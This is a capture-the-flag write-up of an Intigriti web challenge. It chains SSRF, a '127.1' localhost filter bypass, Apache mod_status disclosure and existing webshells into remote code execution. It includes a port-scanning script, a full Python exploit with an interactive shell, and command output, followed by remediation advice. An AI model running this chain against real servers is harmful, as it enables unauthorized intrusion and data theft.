# Intigriti October 2025 Challenge - Unintended SSRF to RCE Solution --- > **Author:** @MrM3ARS - https://x.com/MrM3ARS > **Challenge:** Intigriti October 2025 Challenge by chux > **Date:** October 10, 2025 > **URL:** https://challenge-1025.intigriti.io/ > **Flag:** `INTIGRITI{REDACTED}` (Will be published after challenge ends on Oct 13 2025) > **Solution Type:** Unintended (Alternative exploitation path) --- ## TL;DR Discovered an unintended exploitation chain leveraging **SSRF vulnerability** with **localhost bypass**, **Apache mod_status information disclosure**, and **existing webshell abuse** to achieve **Remote Code Execution** and extract the flag. No file upload or direct webshell creation was needed. **Vulnerability Chain:** ``` SSRF → Localhost Bypass (127.1) → Internal Port Scan → mod_status Discovery → Webshell Enumeration → RCE → Flag ``` --- ## Initial Reconnaissance ### Challenge Overview The challenge presented a simple web application called **"Shoppix Fashion Importer"** with a single input field accepting image URLs. **Initial observations:** - Application fetches external URLs - Backend processes the URL and displays content - Potential for Server-Side Request Forgery (SSRF) ### First Test - SSRF Confirmation ```http GET /challenge.php?url=http://burpcollaborator.net HTTP/1.1 Host: challenge-1025.intigriti.io ``` **Result:** Received DNS and HTTP callbacks - Confirms: Backend makes outbound requests - Backend likely uses **cURL** (based on error messages) --- ## The Localhost Roadblock Attempted to access internal services: ```http GET /challenge.php?url=http://localhost:6379/ HTTP/1.1 ``` **Response:** ``` Invalid URL: access to localhost is not allowed ``` ❌ Direct localhost access blocked ❌ `127.0.0.1` also blocked **Challenge:** Need to bypass localhost restrictions --- ## Breakthrough - Localhost Bypass Discovery ### The Magic: `127.1` Tested alternative localhost representations: | Payload | Result | |---------|--------| | `http://localhost` | ❌ Blocked | | `http://127.0.0.1` | ❌ Blocked | | `http://0.0.0.0` | ❌ Blocked | | `http://127.1` | ✅ **WORKS!** | **Why it works:** - `127.1` is a valid IPv4 shorthand - Normalized to `127.0.0.1` by networking stack - Bypasses string-based localhost filter - Backend accepts it as external URL ```python # Successful bypass url = "http://127.1:80/" ``` --- ## Internal Network Enumeration ### Port Scanning via SSRF ```python import requests target = "https://challenge-1025.intigriti.io/challenge.php" ports = [80, 8080, 6379, 9000, 11211, 3306] for port in ports: r = requests.get(target, params={"url": f"http://127.1:{port}/"}) if "error" not in r.text: print(f"[+] Port {port} OPEN") else: print(f"[-] Port {port} CLOSED") ``` **Results:** ``` [+] Port 80 OPEN [+] Port 8080 OPEN [-] Port 6379 CLOSED [-] Port 9000 CLOSED [-] Port 11211 CLOSED ``` ![ports-2](https://hackmd.io/_uploads/r1djsru6eg.png) **Key finding:** Ports 80 and 8080 return **different response sizes** = actual web services running --- ## Apache mod_status - The Gold Mine ### Accessing Server Status ```http GET /challenge.php?url=http://127.1:80/server-status HTTP/1.1 ``` **Jackpot!** Apache `mod_status` endpoint exposed internally (75KB response) ### What mod_status Revealed: ```markdown html<tr><td><b>0-0</b></td><td>1318</td><td>0/3793/16369</td><td><b>W</b> </td><td>2.01</td><td>8493</td><td>0</td><td>214422</td><td>0.0</td><td>3.71</td><td>26.16 </td><td>10.14.7.9</td><td>http/1.1</td><td nowrap>10.14.1.12:8080</td> <td nowrap>GET /uploads/cmtest.jpg.php?cmd=cat HTTP/1.1</td></tr> <tr><td><b>1-0</b></td><td>1386</td><td>25/1459/16286</td><td><b>W</b> </td><td>1.95</td><td>8374</td><td>0</td><td>151108</td><td>72.3</td><td>3.50</td><td>28.19 </td><td>10.14.7.9</td><td>http/1.1</td><td nowrap>10.14.1.12:8080</td> <td nowrap>GET /uploads/web-shell-aw.jpg.php HTTP/1.1</td></tr> **Key Findings:** - Apache mod_status is publicly accessible internally - Reveals active webshells: /uploads/cmtest.jpg.php, /uploads/web-shell-aw.jpg.php - Exposes internal network topology (10.14.x.x) - Shows command execution attempts (?cmd=cat) ``` **Critical Discovery:** - ✅ Multiple **webshells already uploaded** by other users - ✅ Active requests showing command execution (`?cmd=cat`) - ✅ Internal network topology exposed (10.14.x.x) - ✅ Server version: Apache/2.4.65 + PHP/8.1.33 **Key insight:** No need to upload a webshell when they already exist on the system. --- ## Exploitation - SSRF Chain to RCE ### The Attack Chain ``` External Request → SSRF → 127.1 Bypass → Internal Web Server (port 8080) → Existing Webshell → RCE ``` ### Webshell Access via SSRF ```python import requests import urllib.parse import re target = "https://challenge-1025.intigriti.io/challenge.php" shell_url = "http://127.1:8080/uploads/cmtest.jpg.php" def execute_command(cmd): payload_url = f"{shell_url}?cmd={urllib.parse.quote(cmd)}" r = requests.get(target, params={"url": payload_url}, timeout=15) if "Fetched content:" in r.text: content = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL) if content: return content.group(1).replace("GIF89a", "").strip() return "" print(execute_command("id")) ``` **Output:** ``` uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` **Remote Code Execution Achieved!** --- ## Flag Hunting ### System Enumeration ```python # List root directory execute_command("ls -la /") ``` **Output:** ``` -rw-r--r-- 1 root root 35 Oct 10 03:27 93e892fe-c0af-44a1-9308-5a58548abd98.txt drwxr-xr-x 2 root root 4096 Aug 24 16:20 boot drwxr-xr-x 5 root root 360 Oct 10 03:28 dev ... ``` **Suspicious file found:** `93e892fe-c0af-44a1-9308-5a58548abd98.txt` (35 bytes = flag size!) ### Flag Extraction ```python # Read flag file execute_command("cat /93e892fe-c0af-44a1-9308-5a58548abd98.txt") ``` **Result:** ``` **Flag:** `INTIGRITI{REDACTED}` ``` **FLAG CAPTURED!** ![flag-2](https://hackmd.io/_uploads/S1R9hHupgx.png) --- ## Complete Exploit Code ```python """ Intigriti October 2025 Challenge - SSRF to RCE Exploit Author: MrM3ARS - https://x.com/MrM3ARS Date: October 10, 2025 CVSS: 10.0 (Critical) """ import requests import urllib.parse import re import sys TARGET = "https://challenge-1025.intigriti.io/challenge.php" INTERNAL_SHELL = "http://127.1:8080/uploads/cmtest.jpg.php" def execute_command(cmd): payload_url = f"{INTERNAL_SHELL}?cmd={urllib.parse.quote(cmd)}" try: response = requests.get( TARGET, params={"url": payload_url}, timeout=15 ) if "Fetched content:" in response.text: match = re.search(r'<pre>(.*?)</pre>', response.text, re.DOTALL) if match: return match.group(1).replace("GIF89a", "").strip() except Exception as e: return f"Error: {e}" return "No output" def exploit(): print("="*70) print("Intigriti October 2025 Challenge - SSRF to RCE Exploit") print("CVSS: 10.0 (Critical)") print("="*70) print("\n[*] Step 1: Verifying Remote Code Execution...") result = execute_command("id") if "uid=" in result: print(f"[+] RCE Confirmed!") print(f" {result}") else: print("[-] RCE verification failed") sys.exit(1) print("\n[*] Step 2: Enumerating system...") enum_commands = { "Hostname": "hostname", "Kernel": "uname -r", "User": "whoami", "Working Directory": "pwd", } for name, cmd in enum_commands.items(): result = execute_command(cmd) print(f" {name}: {result}") print("\n[*] Step 3: Searching for flag...") result = execute_command("ls -la /") print(" Files in root directory:") for line in result.split('\n')[:10]: if line.strip(): print(f" {line}") print("\n[*] Step 4: Extracting flag...") flag_result = execute_command("cat /93e892fe-c0af-44a1-9308-5a58548abd98.txt") flag_match = re.search(r'INTIGRITI\{[^}]+\}', flag_result) if flag_match: flag = flag_match.group(0) print(f"\n{'='*70}") print(f"[+++] FLAG FOUND: {flag}") print(f"{'='*70}") return flag else: print("[-] Flag not found") return None def interactive_shell(): print("\n[*] Starting interactive shell (type 'exit' to quit)") print("[*] Commands are executed via SSRF chain\n") while True: try: cmd = input("shell> ") if cmd.lower() in ['exit', 'quit']: break if not cmd.strip(): continue result = execute_command(cmd) print(result) except KeyboardInterrupt: print("\n[*] Exiting...") break except Exception as e: print(f"Error: {e}") if __name__ == "__main__": flag = exploit() ``` **Usage:** ```bash python3 exploit.py ``` --- ## Key Learnings & Takeaways ### Why This Solution is "Unintended" The challenge likely intended for players to: 1. Find SSRF vulnerability 2. Exploit internal service (Redis/Memcached/PHP-FPM) 3. Write their own webshell 4. Execute commands **My approach instead:** 1. Found SSRF ✓ 2. Bypassed localhost filter with `127.1` trick ✓ 3. Discovered Apache mod_status information disclosure ✓ 4. **Leveraged existing webshells** (no upload needed) ✓ 5. Achieved RCE via SSRF chain ✓ ### Security Lessons 1. **SSRF Prevention:** - String-based filtering is insufficient - Must validate resolved IP addresses - Block entire private IP ranges (RFC 1918) - Consider DNS rebinding attacks 2. **Information Disclosure:** - `mod_status` should NEVER be publicly accessible - Even internal exposure is dangerous - Contains sensitive information about requests and topology 3. **Defense in Depth:** - Multiple security layers needed - One vulnerability (SSRF) → Full compromise - Network segmentation crucial 4. **File Upload Security:** - Never trust file extensions - Disable PHP execution in upload directories - Store uploads outside web root ### Attack Surface Analysis ``` ┌─────────────────────────────────────────────────┐ │ External Attack Surface │ ├─────────────────────────────────────────────────┤ │ • SSRF in challenge.php (url parameter) │ │ • Weak localhost filter (127.1 bypass) │ │ │ │ Internal Attack Surface │ ├─────────────────────────────────────────────────┤ │ • Apache mod_status enabled (port 80/8080) │ │ • Existing webshells in /uploads/ │ │ • PHP execution enabled in uploads directory │ │ • No network segmentation │ └─────────────────────────────────────────────────┘ ``` --- ## Remediation Guidelines ### Immediate Fixes **1. Fix SSRF Vulnerability:** ```php function validateURL($url) { $parsed = parse_url($url); if (!$parsed || !isset($parsed['host'])) { return false; } // Resolve to IP $ip = gethostbyname($parsed['host']); // Block private ranges $blocked_ranges = [ '127.0.0.0/8', // Loopback '10.0.0.0/8', // Private '172.16.0.0/12', // Private '192.168.0.0/16', // Private '169.254.0.0/16', // Link-local '::1/128', // IPv6 loopback 'fc00::/7', // IPv6 private ]; foreach ($blocked_ranges as $range) { if (ipInRange($ip, $range)) { return false; } } // Use allowlist instead $allowed = ['trusted-domain.com']; return in_array($parsed['host'], $allowed); } ``` **2. Disable mod_status:** ```apache <Location "/server-status"> SetHandler None Require all denied </Location> ``` **3. Secure Upload Directory:** ```apache <Directory "/var/www/html/uploads"> # Disable PHP execution php_flag engine off # Force download ForceType application/octet-stream Header set Content-Disposition attachment # Deny all scripts <FilesMatch "\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$"> Require all denied </FilesMatch> </Directory> ``` **4. Clean Existing Webshells:** ```bash # Find and remove malicious files find /var/www/html/uploads -name "*.php" -delete # Set proper permissions chmod 755 /var/www/html/uploads ``` ### Long-term Security - Implement **Web Application Firewall (WAF)** - Enable **comprehensive logging and monitoring** - Regular **security audits and penetration testing** - **Network segmentation** between web and internal services - Use **least privilege principle** for service accounts - Implement **Content Security Policy (CSP)** --- ## Attack Timeline | Time | Action | |------|--------| | 13:27 | SSRF discovered with Burp Collaborator | | 13:28 | Localhost filter bypass found (127.1) | | 13:30 | Internal port scan completed | | 13:35 | Apache mod_status discovered | | 13:40 | Existing webshells identified | | 13:45 | RCE achieved via SSRF chain | | 13:50 | Flag extracted | **Total time:** ~23 minutes --- ## Why This Is a Great "Unintended" Solution ### Creative Problem Solving - Avoided intended exploitation path - Found alternative vulnerability chain - Leveraged information disclosure creatively ### Real-World Applicability - This approach mimics actual penetration testing - Demonstrates thorough enumeration - Shows importance of information gathering ### Educational Value - Multiple vulnerability types combined - Shows impact of information disclosure - Demonstrates defense-in-depth importance --- ## References & Resources - **Challenge URL:** https://challenge-1025.intigriti.io - **CWE-918:** Server-Side Request Forgery (SSRF) - **OWASP:** SSRF Prevention Cheat Sheet - **Apache:** mod_status Documentation - **RFC 1918:** Private Address Space --- ## Acknowledgments - **Intigriti** for hosting amazing challenges - **Challenge Creator** for the creative scenario - **Security Community** for knowledge sharing --- ## Conclusion This challenge demonstrated how **multiple seemingly minor vulnerabilities** can chain together for **critical impact**. The unintended solution path shows that: 1. **Information disclosure** (mod_status) is not just "informational" 2. **Localhost filters** must validate resolved IPs, not just strings 3. **Defense in depth** is crucial - one vulnerability led to full compromise 4. **Thorough enumeration** reveals alternative attack paths The key lesson: **Always enumerate thoroughly. The intended path isn't always the only path.** --- **Happy Hacking!** *If you found this write-up helpful, consider following me for more security research and CTF solutions!* *Disclaimer: This write-up is for educational purposes only. Always obtain proper authorization before testing security on any system.* ---